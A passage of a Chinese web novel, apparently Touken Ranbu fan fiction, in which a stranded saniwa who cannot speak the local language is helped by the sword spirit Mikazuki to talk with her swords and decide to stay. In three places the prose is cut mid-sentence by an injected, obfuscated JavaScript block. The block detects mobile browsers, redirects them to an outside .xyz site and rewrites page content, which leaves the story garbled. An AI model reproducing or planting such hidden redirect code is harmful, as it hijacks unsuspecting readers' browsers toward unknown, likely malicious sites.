被推着住进了一栋小楼里,各种叽里咕噜的帅哥时不时往她眼前冒,一日三餐有人承包,房间也有人帮忙收拾,就连桌上那些看不懂的文件第二天也会自己消失。她捉摸着,这大事小事都有人接手,自己只要像只仓鼠窝在笼子里一样窝在房间里的生活,大概是她工作太多的妄想。
好像还挺幸福的?什么都不用操心,什么都不必在意,她的梦里她想做什么都行,在房间躺一天,在窗口逗小鸟,肆无忌惮打量送饭来的帅哥拿他们的脸下饭,好像一直这样下去也可以。
真的吗?
假的。
如果这群动物和人会说人话就好了。
日日夜夜,她满耳朵都是叽里咕噜,像已经沸腾的开水又继续煮了一天,还不够,要继续煮一周一月直到煮干还要再加水。面前来来往往的面孔,各有各的可供欣赏之处,那断断续续发出的声音也各有各的悦耳,可是都是陌生的,都是遥远的。她不知道他们是什么,不知道他们叫什么,她眼里渐渐什么也没有了,只剩下那一张张不断闭合的口。
嘴角是上扬还是下沉,发出的声音长还是短,言语的内容无法被理解时,相关的所有在她这里已失去
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803468|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意义。她只能注意到那一张张面孔中央的黑洞,里面存在着深不见底的漩涡将她初来乍到的新鲜活力全部吸走,将她所能发出的声响吞噬殆尽,也将她的发声器官无情碾碎。
她、他们彼此听不懂对方,也看不破对方,再多的猜测琢磨在那横跨在唇舌之间的隔阂下都显得苍白无力。好像没有必要开口说些什么,这个奇怪的地方,她搞不懂,慢慢也不是很想搞懂了。
这个梦如果就此结束也还好,至少开头很有新意,如果马上睁开眼是窗帘也挡不住的太阳光,耳边断断续续响起呼朋唤友的鸟鸣,她的心情还会马上随之阴转晴。然后眯着眼睛在被子里磨蹭一会,再从枕头下面摸出手机,给好朋友发个一溜串语音吐槽这梦的剧情太不合理。
如果她没记错,睡着的那天是周五,第二天就是美好的周末,她甚至可以直接玩着手机躺到十二点。
可是一天一周一月过去,她怎么还在这里。
庭院里的人在渐渐变多,多到她认不清。
那些人每天在她面前晃一圈然后往门外去,不知做了什么刀尖染血地回来。
她总觉得自己好像搞错了什么,但却又不知道到底错在了哪里。她就像一颗拧错地方又被硬拧到底的螺丝钉,如此不适却无法脱身,每日空白着脸看人来人往。
时间一长,她当然察觉到了不对劲。她第一时间想到要和狐狸以及那群人沟通,但也是第一时间放弃了这个方法,他们根本交流不了啊。
那试试离开这里呢,又是失败。那群人看她看得相当严,胜过监狱长看管囚犯,恶龙看守宝箱,老在门外走来走去就算了,怎么还在她窗外徘徊,跳窗而逃的机会都不给她。
在她做出能产生实际改变的行动之前,事情急转直下。
生活的地方似乎有哪里出了问题,那些男人面露担忧地向她询问什么,已经察觉不到不对的她紧张又害怕,只顾绷着脸,将自己的脆弱伪装起来。
他们不知道说了什么,也不知道从她的脸上看出了什么,最后迟疑着离开。
那段时间,气氛变得很古怪,身上染血的人越来越多,大家的脸色相比以前都很沉重。她甚至怀疑自己是不是被□□绑架了。
但或许是运气好,一段时间之后,古怪的氛围又平息了。那些长得漂亮的男人又轻松欢乐起来,来到她住的地方,给她送花送糕点。如果没有把她面前的地板染红就好了,不过问题也不大,反正会有人拖干净。
时间不知道过了多久,她惶恐害怕到甚至麻木,经历磨炼的心就像一堵墙被越砌越厚。现在她甚至能闻着窗外的血腥味,说天气真好。
说不定这就是一个梦呢,仿佛逃避一般,她又相信回去了。
有的时候,有人会走进她的房间,跟她说些什么,表情很期待又有些惶恐,虽然不知道他们来这的目的,但她熟悉这种表情。
跟大学时的她在月末向妈妈撒娇要零花钱时的状态一模一样,他们在等她一个回答,或是微笑着,或是不安着,眼里深藏着渴望,却也只是藏着。她知道她一摇头他们只会把失望埋得更深,埋到她看不见的地方。她也惶恐,也茫然,但还是不忍心拒绝,每次她沉默着点头,即使什么也不说,他们也会在得到首肯的那一刻绽放出整个房间里最有生命力的笑容。
然后本丸里就会出现一点新的东西。新的没见过的人,或是新的衣服、玩具,啊,还有指甲油。
粗略估计那个红红的黑发男人都买了有近十瓶指甲油了吧,还都是红色,色感真好。要是能说上话就好了,她也想做纯色指甲。
说不清从什么时候,她有点喜欢他们了,可能是因为什么也不干每天太无聊,就像有些人家里养了一缸的鱼,也不一定喜欢鱼本身,就是看着小东西游来游去就觉得舒心。她现在有点懂了,每天观察他们成了她唯一的乐趣。
不知道名字,她开始试着靠发色去记人,颜色红的蓝的黄的,让她怀疑院子角落里是不是放着大染缸,发型长的短的编发的绑绳的五花八门,看得她眼睛花。
最后还是放弃了,反正不管她怎么叫,黑头发抓小辫脖子栓围巾的那个,还是蓝头发高马尾身前绑颗白球的,在他们耳朵里听起来都一样,跟她听他们说话一样,一直都是叽里咕噜。
她在窗边不再只是看天看树看飞鸟,有的时候看人聊天,有的时候看人打闹,更多时候是托着腮看几个小孩撸狐狸。最开始他们甚至逆着撸毛,把狐狸摸成了刺猬,直在地上打滚抗议。直到又一只狐狸到来,那个狐狸的人架子熟练上手教学,这才把最初的狐狸摸得舒服了。
这样的生活慢慢习惯了,她也不傻待得久了能看得出来,这个地方是她做主。他们看起来唯她是从,照顾她,在意她,和她说话总是询问的语气,被她注视久了偶尔还会脸红。
惶恐不安也不过是担心自己回不去家,她可从来没做过一睡不醒的心理准备。
每次来了新人,那个红色帅哥就会把人带到她面前过一遍,虽然记不住人,但好歹是在她这过了门。不过这次出乎她意料的,新来的居然也是个女生。
第一眼见,她就觉得亲近,无关容貌和气质,是一种在陌生环境里彼此最相似的亲密。若不是这个新人和那些旧人一样,腰间挎着刀地来,她还以为这个地方不只吞了她,还吞了别人。
女生啊女生,她感觉自己已经半辈子没见过女孩子了。
她想留她说话、留她陪伴,但一想到语言不通又不知道该怎么办。
不行啊,不行,她对自己说,你找不到回去的办法,已经很无能了,还不能留一个人陪自己散心吗?反正他们都很听自己的话,让她坐在那边听自己说些不懂的话又怎么样呢?
实在不想一个人坐在房间里发呆,实在不想只有独处的时候对自己说话,是时候做一些改变了吧,哪怕只是小小的一个动作、一句话。
她从房间里的矮桌上抽出一张纸,在上面画了个月亮,这是她在那个女生身上看到的,不知道什么意思,但很亮眼。她把这张纸交给惯例来看她的红色帅哥,他果然领会了。
心怦怦直跳,手抚在胸口也停不下来,这是她来到这个奇怪的地方后,主动做的第一件事,一切会变好吗?
27.血色沉默8
在狐之助那边得知与审神者有关的更多信息后,辉月便有猜想会是这样一个结果。
时政从各个位面吸取人才,不可避免地会面临位面不同语言不通的问题。按理来说,在审神者确定上任而尚未到达本丸签订契约之前,时政的技术人员便会在狐之助的协助下于本丸的时空内装设一键翻译系统。之后,狐之助连同来到本丸的刀剑付丧神会自动习得审神者的语言。
这一项技术在工作人员产地丰富的时政已经沿用许久,相当发达且可靠。像她穿梭在不同本丸依然可以和任何人进行无障碍交流,也是依靠了该项技术的变体。
然而这位审神者是因为意外来到此处,辉月推测,应当是狐之助穿梭时空去找原定的异世审神者时路过了她所在的时空,致使她被卷入时空穿梭通道。狐之助被她的充沛灵力吸引了注意力,一时激动没有注意到语言问题,只以为这位和原本要找的那位来源相同,就这么直接签订契约了。审神者、狐之助和刀剑付丧神通通无法沟通,也不知道清光那边对审神者产生了什么误会,让他们把本丸弄成了这副模样。
这些都是已经有所预料的,辉月真正震惊的地方在于,原来审神者竟是和自己说着同一种语言的老乡。A56提醒她的那句,“和她来自同一时空”,同一星系、同一星球、同一大陆还同一个国家,竟然是这么“同一”。
当那熟悉到不能再熟悉的语言响起,顺畅无比地流进耳朵里,堪比广告里的德芙没有一丝生涩,辉月一瞬之间恍惚了。像是三十多岁的人在路边小摊随手一买,就吃到了二十年前的味道,怀念之余满是怅然。
见辉月一时愣住没给反应,审神者只以为她是听到一连串咕噜咕噜没反应过来。
她想着红色帅哥每次和自己搭话时亮亮的眼睛,暗暗给自己打气,“他们对我很好,不会拒绝我的,没有什么好怕的”。她鼓起勇气向前倾身,随着自己的心意跨过矮桌握住了辉月的手。在指尖与手背相触的那刻,审神者惊叹出声,“宝宝你手好滑啊,摸起来好舒服好喜欢。”
当辉月震惊地睁大眼睛,她又立刻放开了手,连连解释,“等等你别把我当变态啊,我只是好久没见到跟我一样的女孩子,有点激动。真的,只是激动,只是有点太高兴了。”
她顿了一下,想到什么又垂下眼睛说,“不对,我们还是不一样的。唉,为什么你身上也背着刀啊,你也听不懂我讲什么。”
纵使对审神者的印象是高贵冷艳,她开口吐露出的话语却如此惑人心神,又是“宝宝”又是一连串夸夸,就连一向心如止水的辉月都差点把持不住。此刻看到她的喜悦在悄悄褪去,让人不安的理智重新占领头脑,眼帘半掩,睫毛像举起的伞挡住了绵绵细雨也挡住了她所有心事,辉月不由心生怜惜,在心中暗叹一声。
“算了,反正你出现在这里,说明你跟他们一样都会听我的,那就留在这里让我饱饱眼福过过嘴瘾吧。”她很努力地说服了自己,黯淡下去的脸庞又勉勉强强重焕生机。
然而,就在她打算和对面的女人唠唠嗑,唠到一定时机再吐诉心声,把这趟稀里糊涂的“梦”中旅程指指点点一番时,辉月忽然扬起笑容幽幽开口,“哈哈哈哈可以可以,上手摸也没问题哦。”
在那一瞬间,时间仿佛暂停了。只剩下洒脱的笑声,和上扬的尾音空空荡荡地飘扬着。
审神者的身躯僵硬在原地,她傻傻盯着辉月,还以为自己幻听了,原地停滞了许久才受惊一般飞速从地上弹了起来。
她原地弹起的速度很好,气势也很足,看起来参加跳高比赛可以轻松拿个好名次。可惜,起跳的位置不对,膝盖重重磕上了桌子底面,发出堪比摔炮着地的一声巨响,与之同时,划破云霄的是审神者掺杂着惊讶的痛呼。
很快,快到辉月也没反应过来,就在那巨响双重奏展现威力的下一秒,天守阁的门被轰然推开,力道太大以至于一侧门撞到了墙面,随后晃悠一下掉在地上。
“主人!发生了什么?”一堆刀剑付丧神堆在门口,有胳膊夹着菜筐的,手上端着茶点碟子的,甚至抬头远望还能看见有人在往这边赶,手里拎着没来得及晾的湿衣服,都是手上的事做到一半听着声就狂奔过来了。
站在第一个是清光,手上抓着一把花,其中一朵花瓣只剩下一半不到了。因为刚刚手的主人太过紧张,花被揉搓得渗出了汁液,将指尖染色。
凭借对清光的熟悉,辉月想他方才出去一定没有离开,而是蹲在天守阁门口,碰巧边上有开得正好的花,便抓了过来,一边揪花瓣一边悄悄算,审神者爱我,审神者不爱我。
其他刀剑不知道现在是怎么一回事,只看到了审神者和辉月相对而坐,审神者出事自然第一嫌疑人是辉月。于是下一秒,她差点被一堆警惕的目光给埋了,如果目光也有实体的话。
但清光知道是审神者主动叫辉月来的。所以在确定审神者身上没有伤口没有血气后,不需要额外的审视,他直截了当地问,“三日月,发生什么了?”
“哈哈哈哈,是不小心撞到桌子了。”考虑到审神者的薄脸皮,她去掉主体如实作答,不过在场的人除了当事人都不太相信。天守阁内一共两个人,高冷如冰的主人和优美如月的太刀,哪个看起来都不像是大惊小怪到要把桌子掀翻的人。
“真的吗?”有人向审神者求证。
辉月顺势望向矮桌另一面的女人。
堪称神奇,刚刚还情绪波动巨大,以至于撞了自己的膝盖的人,此刻又恢复了初见时的样子。毫无表情的面容,像是蒙着面纱笼着雾,让人捉摸不透,坐姿端正而稳重,如同玻璃盒里的永生花,它的模样让你只想隔着盒子远观。
或许是方才她的那些絮语和小举动拉近了两人心的距离,辉月这才透过那虚假的外壳注意到她衣袍下的肌肉如此紧绷,嘴唇紧抿,手攥在一起藏在衣袖下。什么拒人千里之外的高冷,分明是紧张和无措。
是一紧张反而会面瘫着端起架子的性格吗?也不怪大家都被她的脸和气质哄骗过去,若不是刚刚短暂窥见她真实的一面,连辉月都要被骗过去。
这才是真正的影帝啊,还是天赋派,如果要评演技大赏,辉月一定提名她。
“审神者大人在紧张吗?”
辉月突然的发问让审神者措手不及,她下意识“诶”了一声,露出了愣怔的表情。这才表现出了她真实的状态,分明还没从刚刚的震惊中走出来。
不过这就够了,如此真实的反应足以让门口关心着她的刀剑付丧神们明白,门里面没有发生任何危险的事情。
“真是的,吓我们一跳。”清光责备里带着宠溺地抱怨道,他在所有人各归各位后,最后一个离开,“不过,没想到主人也有这么可爱的一面啊。”
没有想过要让主人听见,或许是经验让他知道那已然没什么所谓,他没看审神者却勾着唇角很轻地感叹着。
刀剑们看似走了,辉月却注意到门上还留着模糊的影子。她理解大家的不放心,毕竟从来不声不响的审神者突然冒出这么大的动静,让人很难不多想。既然一心想着听懂听不懂的审神者没注意到,大家又都是出于好心,辉月便只当没看见。听就听吧,反正她们的对话他们听不懂。
至少表面上,天守阁又只剩下她们两个人。
一时谁也没说话。
只有审神者的脸颊在寂静中悄无声息地泛红,是为刚刚自己颇为惊扰人的失误举动。
“那个……我不是故意的。”她的声音更小了,像是从喉咙口勉强挤出来的。
“没关系的,不是什么大事。所以还需要摸吗?”辉月主动伸出手,手掌向上摊开在桌面上,就在两人的正中央。
一个恰到好处的邀请,不过近显得压迫,也不过远以致疏离。
另一双手试探着、缓慢地伸出,在辉月摊开的手掌上停顿片刻,在她包容而鼓励的眼神中轻盈落下。女孩的手总是柔软,正如她们的心,辉月握住她,不用力却又暗含力量。
“你……”她依然有些迟疑。
“嗯?”辉月握紧与她相连的那只手,又将另一只手包裹住两人指尖交织形成的拳头,在最紧密的贴合之中,温度缓慢上升。
“你怎么会说话。不对,你也是被逮过来的吗?可是你跟他们一样带着刀,你到底是谁呀?”如释重负,她终于问出口。
她是谁呢,此时此刻并不重要。现在最重要的是帮这位审神者了解所有的情况。
“这里是本丸……”
辉月将审神者、本丸、刀剑付丧神和时政娓娓道来。得知一切后,审神者的第一反应是惊讶。她不可置信地单手捂住嘴,身体紧绷起来,背脊随之挺直,像是在抵御这现实。她当然知道这就是现实,是必须接受的事实,因为手上传来的温度和力度都那么真实,穿过皮肤,传到她的身体深处。
于是她很快又放松下来,第二个反应是担心,担心那群所谓“刀剑付丧神”要怎么办。
“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816957|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要怎么做啊,我什么都不知道,我不会把他们养死吧!所以地上淌的,满庭院飘的真的是血啊!要怎么止血,他们好像不是人类吧,是不是要之前一样对他们的刀施法。”
感受到她声音里海浪一样的情绪波澜,每一次起伏都极尽慌张,还有那突然攥紧的手,辉月安抚地拍了拍她的手背。
“你现在做的不是挺好的吗?”辉月说。
“可是,他们一直在流血诶。”审神者并不确定。
不用回头也能想起门上倒影着的一个个身影,层层叠叠堆在一起,辉月笑了,“但他们看起来还挺开心的。”
“怎么会有人流血还开心呢?我之前还以为他们是虚幻的,还以为是梦境,怎么也想不通是什么情况。我没管过他们,甚至不怎么和他们说话,放任他们流了好久的血,他们是不是很痛,会讨厌我吗?”
她的声音开始颤抖,瞳孔不安地快速挪动着,手心出汗,皮肤相触的地方变得滑而黏腻。但辉月没有松开,反而轻轻将她拉近,让她能清晰看见自己的眼睛,看见其中极具感染力的沉静。
“看着我。”
下意识地她如辉月所言,直勾勾地望向那双眼睛。被眼眸中深邃的大海捕获,被稳定的潮汐带动,她的呼吸平静下来。
“你在害怕什么?”辉月问。
“我、我不知道,我什么都害怕。”审神者垂下眼。
梦与现实是不一样的,梦里没有人会受伤,就算从空中坠落,醒来也会发现自己不过是从床上翻了下来正趴在地上。可现实里不是这样的。处于一个环境里的人,自然结成一张网,谁动了,旁人都会感到牵扯,就这么彼此影响着。
在梦里,她可以恍惚、可以发呆、可以想不通的事情就不想,可以什么也不管,可以将所有一切交给自然而然。可在现实里,她害怕受伤,也害怕伤害别人。
“他们为什么老是来看我?是在监视我吗?”她问。
“你知道猫为什么叫吗?你是审神者,是刀剑之主,他们向往你,只是想要亲近你。”辉月答。
“亲、亲近,不太好吧。”她往后畏缩一下。
“倒也没有那么亲近。你养过宠物吗?”辉月无奈叹笑一声又问。
“养过啊。”
“那没问题了,活的刀也能算是一种新型宠物吧,你养着就完事了。”
“那才有问题啊!我连仙人掌都养死过,家里的金鱼一个月一换。这不把他们养死了!”
辉月回想披着染血的衣裳跑来跑去的刀剑们,迟疑了一下,但当脑海里的画面转换到大和守安定追着平野玩闹,短刀们聚众撸狐,她又放下心来。心想,果然还是不一样啊,这不活得好好的。
他们的流血受伤确有其事,但氛围轻松心情愉快也并不作假。刀剑就是刀剑啊,锋利又坚韧,各个本丸各有各的养法。评判养得怎么样不在她的工作范围内,但她调查清楚了,这本丸不算在异常行列。
在辉月的安慰下审神者不再那么焦虑不安,但她对于审神者一职却无信心,甚至犹犹豫豫地向辉月询问离职手续怎么办理,需不需要付违约金。
连违约金都纳入考虑,这是真的很想撂担子走人了。简直就像投简历被录取,上岗了才发现进的是全球五百强,看着自己简历里吹上天的技能和电脑里见都没见过的应用程序,硬着头皮临阵磨枪还是光速滑跪离场,这是个问题。
不想强迫这个无意来此的人硬留下来,成为审神者并非她本意,她本不必为此买单。但辉月从她的字里行间感受到的东西,让她觉得或许面前的人并非想逃避这项责任,她只是迷惑茫然了太久,一时无法接受这个她已拥有许久但事实上对她而言全新的身份。
正是因为不想让任何人受伤,才想要离开这里。
“或许你应该先见见他们,这些刀剑付丧神。”辉月提议,“在同一片时空一起生活了这么久,应该是第一次好好看看他们吧。”
审神者似有心动,却又犹疑不敢答应,“我有点害怕,我不知道该怎么面对他们。”
“没关系,我会陪着你,就像你面对我一样面对他们吧。”
审神者闻言安心下来,随后才觑辉月两眼,轻声问出自己最关心的问题,“那之后,我是不是可以回家了?”
小心翼翼的提问里有太多期待和太多不确定,背后是一个女人彷徨无措的心。
辉月温声回道,“当然,无论结果如何,走还是留,你都可以回家。”
28.血色沉默9
审神者从一开始就没有像狐之助说的那样答应入职,甚至可能从一开始一人一狐就没在一条线路里对上话。
两个纸杯相隔甚远,直到辉月作为中间那根线到来,才终于能连接起来,堪堪听到了来自对面的声音。于是真相大白,一切不过是鸡同鸭讲,误会一场。
在审神者终于松口答应她的提议,愿意前往大广间见一见本丸已有的刀剑们,并和他们敞开心扉地交流一下后,辉月推开天守阁的木门。
果然见一堆刀剑一骨碌地窝在门口,既不好意思偷听也不乐意走,就蹲在那练腿力,互相猜测着里面谈论的话题。
辉月伸长脖子才越过人墙,在角落里找到加州清光的身影,他竟没有挤在离门最近的地方,只是蹲在一旁望着天发呆不知道在想什么。
或许是作为初始刀在方才推开门的那一刹那,敏锐地察觉到了房间里的气氛隐约不对劲,又或许是发现审神者竟对新来的稀有太刀尤其在意,担忧也好,泛酸也罢,总之他肉眼可见地心不在焉。
辉月唤他去把所有刀剑集中到大广间,他听完原地愣了好一会才慢慢起身,又赶又拉地招呼着堆在门口的众人往外走。
等所有的刀剑都离开,抓紧这难得的独处时刻,辉月抬手掩耳悄悄问A56,
“有没有解决审神者与付丧神语言不通的办法,临时的就行。”
那边传来一阵翻找资料的声音,颇有些兵荒马乱。
似乎是桌子上的茶杯不小心被碰到,滑到地上摔碎了身体,“嘭”得一声后,A56激动说道,
“有的有的。辉月大人有您就行了。融合的身体可以作为两者媒介,和审神者大人保持身体接触,让审神者大人的灵力进入你的身体,就可以暂时让他们正常对话了。”
只要身体接触吗,那还挺简单的。
语言问题能够解决辉月便放下心来,从对方口中听到熟悉的、能够理解的话语,就能让彼此感到亲近吧。
希望这样审神者能不那么紧张,好好地和大家交流一番。
审神者究竟是留下还是离职,她都没什么想法,说来有些冷酷,这不过是这个本丸自己的事情。她只要推动事情得以解决,什么结局都行。
啊当然,她会保证这个女人可以回家,唯独对这点她比较在意。
等本丸目前已有的刀剑付丧神都在大广间聚集完毕,审神者在辉月的陪同下姗姗来迟。
被无数眼睛注视着,她又自动变回了冰冷的面瘫,板正地在主位坐下,只在辉月于她身侧落座时不动声色地瞟她。
那眼神轻轻的羽毛一样,像是要从她身上找到几分脚踏实地的感觉。
来的路上辉月告诉了她怎样可以临时解决交流问题,所以当辉月在桌下握住她的手时,她没有意外,反而感觉到了厚实的安心。
念着她或许情绪尚未稳定,辉月有意想要帮忙向刀剑付丧神们解释情况,却在开始之前受到了预料之外的阻碍。
桌面下的手传来拉扯的触感,辉月看见审神者向自己摇了摇头,幅度轻微却透着与幅度相反的坚定意志,于是辉月明白她想要自己来。
真是小瞧了她的心性,这个只是睡觉却被动穿越的女人运气实在不太好,阴差阳错之间错失了太多作为审神者本该负起的责任。
她为离奇的环境讶然,为如今的处境不安,茫然地徘徊着想要回到迷失之前、回到那个走丢的路口,然后顺着记忆回家。
但此刻,在她脱下这层她尚未搞懂的身份之前,她依然稳稳地坐在这里,即使硬着头皮,也不愿将与自己密切相关的事情推卸到别人身上。
于是辉月咽回腹腔里打好的说辞草稿,选择暂时和底下坐了一圈的刀剑们一样,注视她,聆听她。
深吸一口气后,审神者向大家说明了所有,包括她与狐之助之间的误会,她对本丸的无知与陌生以及她的无所作为。说完之后她停顿片刻,环视大广间,将初次相见的场景每一处细节都引入眼帘。
下面端坐的刀剑付丧神,她没有一个知道名字。
有些已经眼熟,曾在天守阁匆匆见过几面,她的指尖曾划过刀身上的刮痕与豁口,再亲眼见证它平整如初。
有些了解浅薄,脑海里只有一个模糊的轮廓,透过窗户听闻遥遥传来的笑声,一边瞧见他匆匆跑过。
此时此刻,她的目光划过座下一张张面孔,模样各有特点神色却是一致,专注着静待她未完的话。像是纸片一跃而起跳上桌面,曾经从未细看过的脸一时之间都生动起来。
她对他们并不感到亲切,但也并非全无感情,毕竟在这一方庭院里共度了一些时间,抬头是同一块天,低头是同一块地,随意地远望都是同样的景致。
这样做真的好吗,她突然为此困惑,虽然是阴差阳错,但到底是因为自己来到这里,真的要把他们丢下吗?
正如巨石被推上山顶,它或许不是自愿到达这个位置,但当举首便是近在咫尺的苍穹,一切已容不得它拒绝,它必须要从山崖上滚下去了。此刻,也到了她必须要袒露心声的时候。
“我觉得,我可能并不适合做审神者。”
一石激起万层浪。
辉月立刻察觉到到大广间的气氛突变。
如同拉紧的弓弦,在场的所有人都紧绷起来,连带着身处的空间都凝滞而迟缓,空气里好像藏了针头,总是隐隐让人不适,也包括说出这话的审神者。
一股凉意顺着相握的手传递而来,辉月感觉到她的身体更僵硬了。
刀剑付丧神们简直不敢相信自己听见了什么。
主人说,说了什么?
那些话语、那些字句钻进他们的耳朵,又平滑地溜走了,是溜走了吗,还是被大脑拒绝接收。
刚刚还在为终于亲耳听见主人的声音,为大家齐聚一堂环绕在主人身边而感到温馨喜悦。下一分钟主人说,她要走了。
沉得住气的付丧神只不过是坐在原地心神激荡,而有些本身就容易激动的付丧神差点就惊呼出声,一咕噜从地上爬起来。
在刀剑付丧神们缓过神来之前,狐之助先崩溃大叫起来,
“审神者大人!为什么?是因为我的失误吗?我没有注意到您的异样,没有把事情安排好,请怪我吧,不要走可以吗?我以后再也不吃油豆腐了!”
刚刚才连上网的审神者并不清楚油豆腐对于狐之助的重要性,不知道这句话里包含了它多少懊悔与自责。
辉月只注意到她被狐之助尖利的声音吓了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832798|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跳,缩了缩脖子,攥了攥指尖。
比狐之助更不想面对审神者离开的是刀剑们,他们有的宽慰她,说她明明做得很好;有的挽留她,说自己很喜欢主人;有的理智尚存,表示主人有什么问题,大家可以一起解决。
见审神者没有阻止他们开口,大家更是纷纷攘攘地你说一句我说一句,说来说去无非是希望审神者不要走。
没有人想要大声地吵到、吓到审神者,但一堆人一齐开口,大广间还是闹成了没有摊子的菜市场。
然而本应在这时候站出来,作为代表向审神者表达刀剑的意愿的初始刀却销声匿迹了。辉月注意到,他甚至没有坐在接近审神者的位置上,而是缩在最远的角落,低着头不说话。
牵着的那只手突然松开了,辉月转头看见审神者迷茫而困惑的表情,
“我不明白,我什么都没做,他们为什么这么执着是我。审神者对他们来说到底是什么?”
辉月不答反问,“为什么要松开手呢?”
审神者脸上的迷茫多了一些抗拒。
“因为不信任吗?是不信任这个刀啊神啊的世界,不信任他们,不信任审神者这个身份还是不信任自己呢?”
“或许都有?”她哂笑,笑得有些无奈。
那无奈像是气球漏气从被戳破的抗拒里泄露出来,隐晦而复杂。
这个世界、什么时政什么本丸,这些概念对她来说还是太陌生了,像是玄幻小说里东西从书页里钻了出来,不免产生“如果相信它是真的,那才是完蛋了”的想法。
“什么都没做么,可我并不这么觉得。
审神者稳坐天守阁就是给予刀剑们的一颗定心丸,让他们有了锚点,能够安心地出阵杀敌、安心地在本丸生活。
还有手入,锻刀,无论有意无意,你一直在做不是吗。受伤能够被治愈,能够和期盼的人团聚,这对他们来说何尝不是一种宽慰。
更何况一无所知连语言都不通的情况下生活这么久,没有勇气和定力可是做不到的。”
辉月似乎为自己一本正经说这些的样子感到好笑,轻声笑了起来,她重新握住那双意图逃离的手,
“您相信我吗,我认为您是很优秀的人,也能成为优秀的审神者。”
冬雪消融,春潮初生,她面露动容。
大广间一下安静下来,所有人的目光聚焦在主座的那位身上。
在刀剑们灼热目光的包围下,辉月望着审神者说,
“我说这些只是希望你不要妄自菲薄。他们信赖你需要你,这是毫无疑问的,但是否需要接下审神者这份责任,还是要听你的心。”
“三日月太狡猾了,这是我这把初始刀应该说的,虽然很想被主人爱着,但也不想主人为难。请下达命令吧,不管是什么我们都会执行的。”
加州清光终于开口,总是波澜着上扬的撒娇一样的语调,此刻是那样郑重,却又不会让人承受压力。
只会感觉到他将一切托付在你手中,面前有无数的、敞开着的门任君选择。如果推开是驰骋的战场,他会与你一同奔赴,如果推开是回家的路,他也会目送你安然远去。
辉月说,“您沉默太久了,请让这座本丸、让我们听见你的声音吧。”
29.血色沉默10
审神者深深地闭上了眼,企图通过这种方式让自己屏蔽外界的一切,听见来自内心深处的声音。
她依然不甚清楚自己要做些什么,但回想在本丸这段时间的日子,和付丧神们的接触,除了精神上的迷惑不安,并没有什么其他的东西困扰、伤害她。
她必须承认她喜欢他们,也不排斥在本丸生活,而他们在意她,本丸需要她,下定决心做一个审神者好像没有那么难。
“我……可以试试,如果做的不好……”她不确定地说。
“还没试就要预定结果不好吗?”此时此地,只有辉月敢截断这悄无声息滑向消极的话,她用一种半认真半玩笑的风趣,拦下了大家都不愿见到的未来。
行军还没开始,先盘算打了败仗怎么办,确实杀人威风。
审神者闻言笑了,用来到本丸后最大的声音改口喊道,“拜托和我一起走下去吧!”
大广间又爆发一阵强烈噪音,不过所谓噪音,可能在场只有辉月这么觉得。大家都沉浸在喜悦中,想来没人注意她。
于是她一边用宽大的袖子捂住耳朵,挡住那巨大的欢呼声,一边被氛围感染得忍不住笑。
刀剑们留下了他们信赖的主人,可以继续他们已经习惯且喜欢的生活,审神者正式和时政签订新的契约,每隔一段时间可以打审批回家探亲,辉月也完成了调查任务。
只有狐之助需要从今天开始戒油豆腐。
嗯,是值得开心的场景,但这声音也太大了,总觉得屋顶要被声浪掀翻了。
可是这座本丸的主人此刻在主位上也笑得欢心,没有一点要阻拦的意思,于是欢声笑语在此处翻涌,如同潮水一浪过后是更澎湃的一浪。
有短刀仗着自己孩子般的样貌,蹭到审神者身边,大胆地讨要抚摸。
审神者不会拒绝。
于是有了一个就有两个,很快凡是沾染一点孩子或是少年心性的刀剑全涌了上来。
看人自在得这摸一下那摸一下,乐得脸上要开花了,半点冰冷也无,辉月识趣地往外挪去,给主与刀们留下温存的空间。
脚腕处突然传来毛茸茸的触感,她低头发现是狐之助跑了过来。
脑门上印着勾玉样的纹路,身体橙黄,脖子上盘的那一圈白围脖毛发蓬松,一看就是长出来给人摸的。
辉月素来是个行动派,想摸便直接伸手,盘核桃一样盘起了它脖子上雪白的毛。
乖乖让摸不说,它还主动用那圆溜溜的大脑袋贴蹭她的小腿,用最柔软顺滑的皮毛俘获她的垂目。
“大人真是太感谢你了,如果你没有来到这里,真不知道该怎么办好了。”
狐之助几近谄媚地说,但偏生长得可爱,让人讨厌不起来。
面热心冷的辉月可不是容易讨好的对象,她轻飘飘地“哼”了声,不接话茬。
直到狐之助快把自个埋进她怀里了,她才一把抓住它的脑袋,狠狠揉搓了一番,直把浮毛揉得满天飞,
“以后仔细点吧,粗心的家伙,我会让清光盯着你不许再吃油豆腐的。”
“呜呜呜我知道错了。”尖尖的嗓子听起来恍若小孩撒娇。
“去找你的审神者大人吧,有些话跟我说可没用。”
